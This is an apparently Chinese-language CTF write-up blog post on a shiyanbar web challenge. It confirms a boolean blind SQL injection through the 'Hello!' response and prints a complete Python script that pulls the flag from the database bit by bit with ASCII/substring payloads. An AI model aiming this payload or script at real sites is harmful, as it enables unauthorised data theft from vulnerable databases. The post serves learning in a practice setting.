发布时间:2019-09-02 07:42:39编辑:auto阅读(1604)
进去输入1观察发现:
2,3都只有一个结果Hello!,我们输入4观察一下
发现空白,于是输入sql注入语句:1' and '1'='1
没有报错,也有显示Hello!于是判断出,该题目没有过滤,只能用基于Hello!回显的sql注入
猜测数据库,数据表,字段这些我就不浪费时间写了,有想要了解的道友,可以自行百度,或留言交流,我这里直接写爆破flag表flag字段的代码就好了
代码如下:
#!/usr/bin/python #coding=utf-8 #Author = One import requests def main(): n = 0 binary = "" flag = "" for i in range(1,1000): for j in range(8): url = "http://ctf5.shiyanbar.com/web/index_3.php?id=1' and 1=if((ascii(substring((select flag from flag),"+str(i)+",1))%26"+str(2**j)+")="+str(2**j)+",1,0) %23" request = requests.get(url) if(request.text.find('Hello!') != -1): binary = '1'+binary n = 0 else: binary = '0'+binary n += 1 print chr(int(binary,2)), flag += chr(int(binary,2)) binary = "" if(n >= 8): print "\n"+flag break if __name__ == '__main__': main() #上述代码使用的是按位与方法,比普通循环遍历所有可能字符要快,比较8次必得一个字符结果
即可爆破出结果:
本人也是初学者,参考了许多大佬的wp 自己写出来后有什么错误的地方,希望大家指出,谢谢!
上一篇: JDBC系列:(3)使用Prepared
下一篇: Git基本概念及操作(3)
47867
46433
37321
34767
29336
25998
24951
19970
19568
18056
5810°
6436°
5952°
5978°
7083°
5928°
5969°
6461°
6425°
7803°